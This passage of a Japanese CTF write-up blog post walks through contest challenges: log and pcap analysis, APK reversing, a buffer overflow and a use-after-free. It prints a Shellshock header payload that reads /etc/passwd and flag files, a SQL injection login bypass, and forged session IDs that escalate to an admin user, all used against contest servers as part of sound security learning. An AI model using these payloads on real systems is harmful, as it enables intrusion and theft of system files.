    k += 1

$ python cy3.py  
最小の秘密鍵 k: 16
flag
flag{16}

余談:ChatGPTくんに嘘をつかれる

スクリーンショット 2025-02-02 171753.png

PeakeyEncode(300pts)→解いてない

文字化けした文が送られてきました。送信者によるとこの文字化けはインターネットから探してきたロジックを使って暗号化を施したかったそうです。 暗号化した際の環境が送られてきているので復号ができないでしょうか。

暗号分野が苦手+ひとつ前の問題がその苦手分野だったのでこの問題は見てすらなかったが、他の方のwriteupを見る限り頑張ったら解けていたかもしれないなと思った。見とけばよかった……

カテゴリ:FR

露出禁止!(100pts)

添付のログファイルから脆弱性を特定し下記のサイトからフラグを手に入れてください。
[問題URL]
【回答書式】 flag{n桁のアルファベット}

以下のようなアクセスログファイルが配布される。

192.168.100.103 - - [10/Jul/2024:15:36:01 +0900] "GET /index.php HTTP/1.1" 200 424
192.168.100.103 - - [10/Jul/2024:15:36:03 +0900] "POST /auth.php HTTP/1.1" 302 -
192.168.100.103 - - [10/Jul/2024:15:36:05 +0900] "GET /mypage.php?sesid=MTcyMjMxMjQxNywzLHVzZXIzCg== HTTP/1.1" 200 281
192.168.100.106 - - [10/Jul/2024:15:40:03 +0900] "GET /index.php HTTP/1.1" 200 424
192.168.100.106 - - [10/Jul/2024:15:40:08 +0900] "POST /auth.php HTTP/1.1" 302 -
192.168.100.106 - - [10/Jul/2024:15:40:11 +0900] "GET /mypage.php?sesid=MTcyMjM0Nzk5OSw2LHVzZXI2Cg== HTTP/1.1" 200 281
192.168.100.106 - - [11/Jul/2024:09:36:24 +0900] "GET /index.php HTTP/1.1" 200 424
192.168.100.106 - - [11/Jul/2024:09:36:29 +0900] "POST /auth.php HTTP/1.1" 302 -
192.168.100.106 - - [11/Jul/2024:09:36:30 +0900] "GET /ctf/fr1/index.php?msg=2 HTTP/1.1" 200 478
192.168.100.106 - - [11/Jul/2024:09:45:54 +0900] "POST /auth.php HTTP/1.1" 302 -
192.168.100.106 - - [11/Jul/2024:09:46:00 +0900] "GET /mypage.php?sesid=MTc2NzIyNTU5OSw2LHVzZXI2 HTTP/1.1" 200 281
192.168.100.106 - - [12/Jul/2024:16:54:44 +0900] "GET /index.php HTTP/1.1" 200 424
192.168.100.106 - - [12/Jul/2024:16:54:50 +0900] "POST /auth.php HTTP/1.1" 302 -
192.168.100.106 - - [12/Jul/2024:16:54:58 +0900] "GET /mypage.php?sesid=MTcyMjQ0MTU5OSw2LHVzZXI2Cg== HTTP/1.1" 200 281
192.168.100.106 - - [15/Jul/2024:13:05:03 +0900] "GET /index.php HTTP/1.1" 200 424
192.168.100.106 - - [15/Jul/2024:13:05:13 +0900] "POST /auth.php HTTP/1.1" 302 -
192.168.100.106 - - [15/Jul/2024:13:05:18 +0900] "GET /mypage.php?sesid=MTcyMjQyNzg1NywzLHVzZXIzCg== HTTP/1.1" 200 281
192.168.123.101 - - [19/Jul/2024:21:54:42 +0900] "GET /index.php HTTP/1.1" 200 424
192.168.123.101 - - [19/Jul/2024:21:54:49 +0900] "POST /auth.php HTTP/1.1" 302 -
192.168.123.101 - - [19/Jul/2024:21:54:51 +0900] "GET /mypage.php?sesid=MTcyMjMzNDE5MiwxLGFkbWluCg== HTTP/1.1" 200 282
192.168.123.102 - - [21/Jul/2024:16:32:32 +0900] "GET /index.php HTTP/1.1" 200 424
192.168.123.102 - - [21/Jul/2024:16:32:45 +0900] "POST /auth.php HTTP/1.1" 302 -
192.168.123.102 - - [21/Jul/2024:16:32:52 +0900] "GET /mypage.php?sesid=MTcyMjg5MjM3NCwyLHVzZXIyCg== HTTP/1.1" 200 281
192.168.123.105 - - [25/Jul/2024:12:36:01 +0900] "GET /index.php HTTP/1.1" 200 424
192.168.123.105 - - [25/Jul/2024:12:45:32 +0900] "POST /auth.php HTTP/1.1" 302 -
192.168.123.105 - - [25/Jul/2024:12:25:36 +0900] "GET /mypage.php?sesid=MTcyMzA2NjQ5NCw1LHVzZXI1Cg== HTTP/1.1" 200 281

sesid パラメータの値はBase64エンコードのように見える。
試しに一つデコードすると、 1722441599,6,user6 という文字列だった。unixtime,一意のID,ユーザ名のように見える。

まず、ログファイルのパラメータそのままでアクセスすると「セッション切れ」とのこと。
次にunixtimeを少し先の時間に変更したうえでアクセスする(1738476000,6,user6のBase64エンコード)と、user6でのログインには成功したが「このユーザにはフラグは表示されません」と言われた。
こういうとき権限が高そうなのは1か0だろうということで、1738476000,1,user1のBase64エンコードに変えたところflagをもらえた。

/mypage.php?sesid=MTczODQ3NjAwMCwxLHVzZXIx

response
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
</head>
<body>
<h2>CTFクラブ</h2>
<p align="right">ログイン日時2025/02/02 05:26:25</p>
<hr>
ようこそuser1さん
<hr>
フラグは下記の通りです<br>flag{SessionIDsCarefully}<br>

</body>
</html>
flag
flag{SessionIDsCarefully}

ところでこれweb問なのでは……?

成功の証(200pts)

フラグは攻撃者が見つけ出した「パスワード」とします。
【回答書式】 flag{パスワード}

配布されたpcapファイルを開くと、ftpのログイン試行を繰り返している様子だった。
とりあえずログイン成功したところを探すため、 ftp contains "success" でフィルタすると、No.6541がそうらしい。
右クリックから追跡>TCPストリームを見ることで、入力しているパスワードが分かった。
image.png

flag
flag{zyyzzyzy}

犯人はこの中にいる!(200pts)

下記のパケットログは、攻撃のフェーズにおいて特定のサーバにポートスキャンを行ったと思われていたものです。 実は、これは内部にいる攻撃者が外部IPアドレスを偽証したものです。 本当の内部にいる攻撃者のIPアドレスを見つけてください。

pcapファイルが配られる。最初にいくつかのプライベートIPがpingをしており、そのあとにグローバルIPからのポートスキャンログがあった。
最初はどこを見ればいいのか分からずしばらくさまよっていたところ、パケットからMACアドレスも分かることに気が付く。
以下画像はポートスキャンをおこなっているグローバルIPのもの。これと同じMACを探すと、pingしているIPの中でひとつだけ同じものがあった。
スクリーンショット 2025-02-02 174525.png

flag
flag{192.168.204.137}

chemistry(200pts)

添付のプログラムは実行時に引数として数字を与えることができます。 このプラグラムで「FLAG I AM LUCKY」と表示させるための引数を答えてください。
複数の引数を送る場合は、「,(カンマ)」で区切ってください。 スペースは「0」を送ってください。
【回答書式】 flag{数値,数値,.....}

配布ファイルをfileコマンドで確認すると、elfファイルだった。とりあえず実行権限を付けて実行してみる。

$ chmod +x FR-4 

$ ./FR-4 
[INPUT CODE]
                                                                                          $ ./FR-4 10
NE

よく分からないので、BinaryNinjaで開いてデコンパイルしてもらった。

image.png

asciiChange() 関数内で curlコマンドを使って外部からデータを取ってきている。そんなことあるんだ……
GETパラメータ flagSeedの値によっていろんな文字を返してくれるようだったので、BurpのIntruderを使って1~200すべてのレスポンスを調べてもらった。200までの文字で必要な文章が作れそうだったので、flagが分かった。

$ ./FR-4 114,47,0,53,0,95,0,71,6,19,39
FLAG I AM LUCKY
flag
flag{114,47,0,53,0,95,0,71,6,19,39}

解いている最中は気が付かなかったが、これは対応する元素記号を返してくれているらしい。なるほど。

InSecureApk(300pts)

管理者だけが使えるAndroidアプリを作成しました。 このアプリはパスワードを入れないと使うことができません。 そのパスワードがフラグとなっています。
【回答書式】 flag{n文字のアルファベット}

Androidアプリ解析だ!よく知らなかったので以下サイトを参考に解いた。

まず、Kaliに入っていたapktoolを使ってデコンパイルを行う。

$ apktool d FR-5.apk 
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
I: Using Apktool 2.7.0-dirty on FR-5.apk
I: Loading resource table...
I: Decoding AndroidManifest.xml with resources...
I: Loading resource table from file: /home/saku/.local/share/apktool/framework/1.apk
I: Regular manifest package...
I: Decoding file-resources...
I: Decoding values */* XMLs...
I: Baksmaling classes.dex...
I: Baksmaling classes2.dex...
I: Baksmaling classes3.dex...
I: Copying assets and libs...
I: Copying unknown files...
I: Copying original files...
I: Copying META-INF/services directory

生成されたファイルを見ていたところ、以下ファイルに知りたい処理が書いてありそう。.smaliというのはjava->apkの中間ファイルらしいが、なんとなくは読めそうだったのでひとまずそのまま読んでいた。

  • /FR-5/smali_classes3/jp/go/cybercontest/insecureapk/MainActivity$AppListener.smali
  • /FR-5/smali_classes3/jp/go/cybercontest/insecureapk/SecretGenerater.smali

長いのでそれっぽいところを抜き出す。

MainActivity$AppListener.smali(抜粋)
# virtual methods
.method public onClick(Landroid/view/View;)V
略

    .line 37
    :cond_0
    const-string v4, "VUSTIq@H~]wGSBVH"

    .line 38
    .local v4, "secret":Ljava/lang/String;
    invoke-static {v3}, Ljp/go/cybercontest/insecureapk/SecretGenerater;->decode(Ljava/lang/String;)Ljava/lang/String;

    move-result-object v5

    .line 39
    .local v5, "compare":Ljava/lang/String;
    invoke-virtual {v5, v4}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z

    move-result v7

    if-eqz v7, :cond_1

    .line 40
    const-string v6, "Congratulations! you got flag."

SecretGenerater->decode に入力値を与えて返ってきた文字列と VUSTIq@H~]wGSBVH を比較し、同じであれば正解と言っている気がする。

SecretGenerater.smali(抜粋)
.method public static native checkNative(Ljava/lang/String;)Ljava/lang/String;
.end method

.method public static decode(Ljava/lang/String;)Ljava/lang/String;
    .locals 3
    .param p0, "str"    # Ljava/lang/String;

    .line 9
    invoke-static {p0}, Ljp/go/cybercontest/insecureapk/SecretGenerater;->checkNative(Ljava/lang/String;)Ljava/lang/String;

    move-result-object v0

    .line 10
    .local v0, "checkLength":Ljava/lang/String;
    invoke-virtual {v0}, Ljava/lang/String;->length()I

    move-result v1

    const/16 v2, 0x10

    if-ne v1, v2, :cond_0

    .line 11
    return-object v0

    .line 13
    :cond_0
    const-string v1, ""

    return-object v1
.end method

decode() は上記の通りで、 checkNative() に引数を与えて返ってきた文字列が16(0x10)文字であることを確認後、returnしているように見える。
そしてこのcheckNative()は、処理の中身がこのファイルには書かれていない。参考サイトにもあったとおり「ネイティブライブラリ」というものらしい。
これは/lib/ 以下にある.soファイルから呼び出されているのだが、これはバイナリデータなのでさらにBinaryNinjaなどで読み込み、デコンパイルを行う必要がある。(.soファイルはいくつかあるが、処理系別になっているだけでどれも処理は同じ……だと思う)

今回は/lib/x86_64/libinsecureapp.soを使った。BinaryNinjaよりIDAの方が分かりやすかったので、IDAでのデコンパイル結果を載せる。
スクリーンショット 2025-02-02 205656.png

引数と0923200802022025とのXORを取っていそう。(この文字列がBinaryNinjaでは出てこなかった。ツール併用だいじ)

つまり、flag ^ 0923200802022025VUSTIq@H~]wGSBVHが等しければいいので、0923200802022025 ^ VUSTIq@H~]wGSBVHを求めるとflagが分かる。

$ python       
Python 3.11.9 (main, Apr 10 2024, 13:16:36) [GCC 13.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> a = b"0923200802022025"
>>> b = b"VUSTIq@H~]wGSBVH"
>>> [i ^ j for i, j in zip(a, b)]
[102, 108, 97, 103, 123, 65, 112, 112, 78, 111, 71, 117, 97, 114, 100, 125]
>>> result = [i ^ j for i, j in zip(a, b)]
>>> [chr(i) for i in result]
['f', 'l', 'a', 'g', '{', 'A', 'p', 'p', 'N', 'o', 'G', 'u', 'a', 'r', 'd', '}']
>>> "".join([chr(i) for i in result])
'flag{AppNoGuard}'
flag
flag{AppNoGuard}

カテゴリ:PW

CVE-2014-7169他(100pts)

アクセスログから脆弱性を特定しフラグファイル内のフラグを見つけ出してください。 フラグファイルは下記の通りです。
/etc/PW-1
[問題URL]
【回答書式】 flag{n桁の半角英数記号}

配布されたログファイルの一部はこんな感じ。問題文にもあるように、いわゆるshellshockを試しているように見える。

192.168.123.103 - - [27/Jan/2024:20:02:22 +0900] "GET /cgi-bin/k.cgi HTTP/1.1" 404 453 "-" "() { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/passwd"
192.168.123.103 - - [27/Jan/2024:20:02:22 +0900] "GET /cgi-bin/l.cgi HTTP/1.1" 404 453 "-" "() { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/passwd"
192.168.123.103 - - [27/Jan/2024:20:02:22 +0900] "GET /cgi-bin/m.cgi HTTP/1.1" 404 453 "-" "() { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/passwd"
192.168.123.103 - - [27/Jan/2024:20:02:22 +0900] "GET /cgi-bin/n.cgi HTTP/1.1" 200 2007 "-" "() { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/passwd"
192.168.123.103 - - [27/Jan/2024:20:02:22 +0900] "GET /cgi-bin/o.cgi HTTP/1.1" 404 453 "-" "() { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/passwd"
192.168.123.103 - - [27/Jan/2024:20:02:22 +0900] "GET /cgi-bin/p.cgi HTTP/1.1" 404 453 "-" "() { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/passwd"

ほとんどが404だが、/cgi-bin/n.cgiのみ200が返っているためこのパスにアクセスしてみる。shellshockableと書かれただけのページだったので少し面白かった。
あとはログファイルと同様User-Agentヘッダにshellshockのコードを入力し、欲しいファイル名に変更するとflagを獲得できた。

request
GET /cgi-bin/n.cgi HTTP/2
略
User-Agent: () { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/PW-1

HTTP/2 200 OK
Date: Sun, 02 Feb 2025 06:59:51 GMT
Content-Type: text/plain; charset=UTF-8
Server: Apache/2.4.37 (centos)

flag{>:(!shellshock!}
flag
flag{>:(!shellshock!}

ログファイルから攻撃手法を特定して実際に攻撃させるという問題、exploit例も示せるし初心者向けとしていいなと思った。最近初心者向け(内輪向け)にごく簡単なCTF問題を作ったりしたので、次機会があったら真似しようかな……

ところでこれweb問なのでは……?(2回目)

認可は認証の後(200pts)

下記のURLにアクセスし、フラグを入手してください。 Webアプリケーション脆弱性診断の観点を持つと良いみたいです。
[問題URL]
【回答書式】 flag{n桁の英数字}

まずログイン画面が表示されている。javascriptでバリデーションチェックがあるが、サーバ側では特にチェックされていないうえにSQLインジェクションが可能だった。例えば以下のように送ると、ログイン後画面であるmypage.phpへリダイレクトするが、無理やりログインしたためかそのまますぐにログアウトしてしまった。

request
POST /auth.php HTTP/2
略

name=a'+or+1=1+--+a&password=&pass-re=
HTTP/2 302 Found
Date: Sun, 02 Feb 2025 07:44:40 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 627
Location: index.html
Server: Apache
X-Powered-By: PHP/8.3.15
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache

<!DOCTYPE html>
<html lang="ja">
<head>
<meta charset="UTF-8">
<link rel="stylesheet" href="style.css">
<title>マイページ</title>
</head>
<body>
<div class="title">マイページ</div>
<div class="right"><a href="logout.php">ログアウト</a></div>
<hr />
ようこそさん!<br />
<br />
[利用者情報]
<table>
<tbody>
<tr>
<td>氏名</td><td></td>
</tr>
<tr>
<td>ステータス</td><td></td>
</tr>
</tbody>
</table>
<hr />
<form action="flag.php" method="post">
<input type="hidden" name="admin" value="0">
<input type="submit" value="フラグを表示">
</form>
</body>
</html>

とはいえ、mypage.phpのHTMLは取得できているので問題ない。最下部にflag.phpのフォームがあるので、これと同じようにPOSTリクエストを送信してみる。ただし、adminパラメータは1の方が良さそうなので1に変える。

request
POST /flag.php HTTP/2
略

admin=1
HTTP/2 302 Found
Date: Sun, 02 Feb 2025 07:45:24 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 411
Location: index.html
Server: Apache
X-Powered-By: PHP/8.3.15
Set-Cookie: PHPSESSID=6mt0qatk3rbjuj6tn91encrpnl; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache

<!DOCTYPE html>
<html lang="ja">
<head>
<meta charset="UTF-8">
<link rel="stylesheet" href="style.css">
<title>フラグページ</title>
</head>
<body>
<div class="title">フラグページ</div>
<div class="right"><a href="logout.php">ログアウト</a></div>
<hr />
ようこそさん!<br />
<br />
<hr />
フラグは下記の通りです<br>flag{DoNotUseParameter2Auth}</body>
</html>
flag
flag{DoNotUseParameter2Auth}

ところでこれweb問なのでは……?(3回目)「Webアプリケーション脆弱性診断の観点を持つと良い」とのことだし……

formerlogin(200pts)→解けてない

資料を添付しました。 この資料から推測できる情報でグループウェアにアクセスできないでしょうか。
[問題URL]

image.png

上記のようなwebサイトと、IDや社員名が載ったパワポファイルが渡される。
まず考えうる「イニシャル」のパターンを入力し、うまくいかなかったところで諦めた。パワポに社内の写真が載っていたので、認証情報が映り込んでいるとか……と探したがそういうわけではなかったらしい。

overmeow(200pts)

ファイルを用意したので、解析してもらえませんか。
nc [問題サーバ] 30001
【回答書式】 flag{n桁の半角英数記号}

以下のようなelfファイルが配布される。aaa... は入力値。

$ ./overmeow                          
 ∧,,∧
(=・ω・)meow
(,, uu)

What's the cat's say?
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
[hint]: overflow == 0x6161616161616161
secret != 0x6d646f77 :(
zsh: segmentation fault (core dumped)  ./overmeow

簡単なバッファオーバーフロー問題のようなので、まず[hint]: overflow に反映されるのが何文字目か探す。24-28文字目が逆順(リトルエンディアン)に反映されることが分かったので、0x6d646f77 = 'mdow' の逆を入力した。

(ローカル実行)
$ ./overmeow
 ∧,,∧
(=・ω・)meow
(,, uu)

What's the cat's say?
abcdefghijklmnopqrstuvwxwodm
Yes, I'll give you a flag.
cat: flag: そのようなファイルやディレクトリはありません

(問題サーバ)
$ nc pw4-prod.2025winter-cybercontest.net 30001
 ∧,,∧
(=・ω・)meow
(,, uu)

What's the cat's say?
abcdefghijklmnopqrstuvwxwodm
Yes, I'll give you a flag.
flag{I_will_Golondon}
flag
flag{I_will_Golondon}

heapmeow(300pts)

猫ちゃんの鳴き声はなんですか?
nc [問題サーバ] 30001
【回答書式】 flag{n桁の半角英数記号}

こちらもelfファイルが配布される。

$ ./heapmeow
 ∧,,∧
(=・ω・)
(,, uu)
Dog goes woof.
Then, Cat?

1. Print Heap
2. Allocate Cat
3. Print cat->says
4. Free cat
5. Exit

Enter your choice:

入力したりメモリ開放できたりするらしい。ヒープバッファオーバーフローについてよく分かっていなかったので、ChatGPTに聞いた。
image.png
(最近口調がフランクなChatGPTくん)

4. Free cat があるので、おそらくUse After Free脆弱性なのだろう。とりあえず入力して開放して読み込んでみればいいか……と適当にやっていたらflagをもらえた。

$ nc pw5-prod.2025winter-cybercontest.net 30001
 ∧,,∧
(=・ω・)
(,, uu)
Dog goes woof.
Then, Cat?

1. Print Heap
2. Allocate Cat
3. Print cat->says
4. Free cat
5. Exit

Enter your choice: 2
What does the cat say?
abcdefghijklmnopqrstuvwxmeow                 
Try Again.

1. Print Heap
2. Allocate Cat
3. Print cat->says
4. Free cat
5. Exit

Enter your choice: 4

1. Print Heap
2. Allocate Cat
3. Print cat->says
4. Free cat
5. Exit

Enter your choice: 1
[*]   Address   ->   Value   
+-------------+-----------+
[*]   0x558ae6efc278  ->   nyao
+-------------+-----------+

1. Print Heap
2. Allocate Cat
3. Print cat->says
4. Free cat
5. Exit

Enter your choice: 2
What does the cat say?
abcdefghijklmnopqrstuvwxmeow
Congratulations!
flag{cat_g0es_me0w} 
flag
flag{cat_g0es_me0w} 

この辺りの問題、ctf4bなんかだとbeginnerにいるイメージ。

カテゴリ:TR

TR(トリビア)カテゴリとのことで知識クイズ的なものを想定していたところ、特にそうではなかった。いわゆるMISCカテゴリということだろうか。

合体はロマン(100pts)→解けてない

二次元バーコードでフラグを書いておきました。
【回答書式】 flag{n桁の半角英数字}

image.png

画像4枚が添付されている。QRコードを4分割したもののように見えるので、画像を回転させたりして正しいQRコードを復元する必要がありそう。
まず黒い画像のみファインダパターン(QRコード右下以外にある四角)が含まれていない。となればアライメントパターン(小さい四角)があるはずだが、色が反転されているように見えるので白黒反転してもとに戻しておく。

そのあといろんな組み合わせを試していたが、読み取れるQRコードを作ることができなかった。writeupを見る限り少し重なる形で組むのが正解らしい。それは試してなかった……。

Windowsで解きましょう(200pts)

下記のファイルを実行すると「flags」というフォルダが作成され、複数のファイルが生成されます。 すべてのファイルに違うフラグが書かれています。 その中のファイルの一つには印がつけてあります。正解のフラグを探してください
【回答書式】 flag{22桁の半角数字}

添付されていたのは以下のバッチファイル。

@echo off
setlocal
set FDATA1=23
set FDATA2=61
set FDATA3=34
set FDATA4=25
set FDATA5=75
set FDATA6=64
set FDATA7=93
set FDATA8=44
set FDATA9=72
md flags
chdir flags
for /l %%n in (10,1,99) do (
  type null > flags_%%n.txt
  echo flag{%FDATA5%%FDATA4%%%n%FDATA1%%FDATA6%%FDATA2%%%n%FDATA3%%FDATA7%%FDATA9%%FDATA8%} > flags_%%n.txt
  if %%n==%FDATA4% echo > flags_%%n.txt:TrueFlag
)

endlocal

単純そうなコードなので実行せずに読んでみる。flags_nn.txt のファイル99個にflag形式の文字列を保存している様子。
if %%n==%FDATA4% echo > flags_%%n.txt:TrueFlag が正解のflagだと思われ、冒頭の変数を見ると%%n=25のときらしい。あとはechoしている文字列に変数の値を当てはめていった。

flag
flag{7525252364612534937244}

排他的倫理和(300pts)

比較対象ファイルの値と各候補ファイルに記載の値のXORを計算し、有意な値を見つけてください。
【回答書式】 flag{IPアドレス}

findWizXORと書かれたテキストファイル(compare)と、短いバイナリファイル3つ(pattern1, 2, 3)が与えられた。問題文の通り、compareファイルとpattern1, 2, 3ファイルのXORを取ってみる。

>>> with open("compare", "rb") as f:
...     co = f.read()
... 
>>> 
>>> with open("pattern1", "rb") as f:
...     pa1 = f.read()
... 
>>> 
>>> with open("pattern2", "rb") as f:
...     pa2 = f.read()
... 
>>> 
>>> with open("pattern3", "rb") as f:
...     pa3 = f.read()
... 
>>>     
>>> def xor(byte1, byte2):
...     
...     return bytes([b1 ^ b2 for b1, b2 in zip(byte1, byte2)])
... 
>>> xor(pa1, co)
b'find1\x05\x1b?4/'
>>> xor(pa2, co)
b'ciBd*\x16z\x95SQ'
>>> xor(pa3, co)
b'flag{\xac\x1d\xef\xfd}'

compare ^ pattern3 のときflagっぽい形式が出てきたが、{}の中身は有効な文字列ではないしよく分からない。さらに他のファイルとのXORを取ったりもしてみたが変な値にしかならず、悩んでいたところで指定された解答書式に気が付いた。

【回答書式】 flag{IPアドレス}

IPアドレス??と思ったところで、flag{\xac\x1d\xef\xfd}の中身も4バイトだったので10進数変換してみる。172, 29, 239, 253になったので、IPアドレスっぽい雰囲気。
試しにsubmitしてみると正解だった。回答書式指定含めて問題(?)なのは初めてだな……

flag
flag{172.29.239.253}
1
1
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?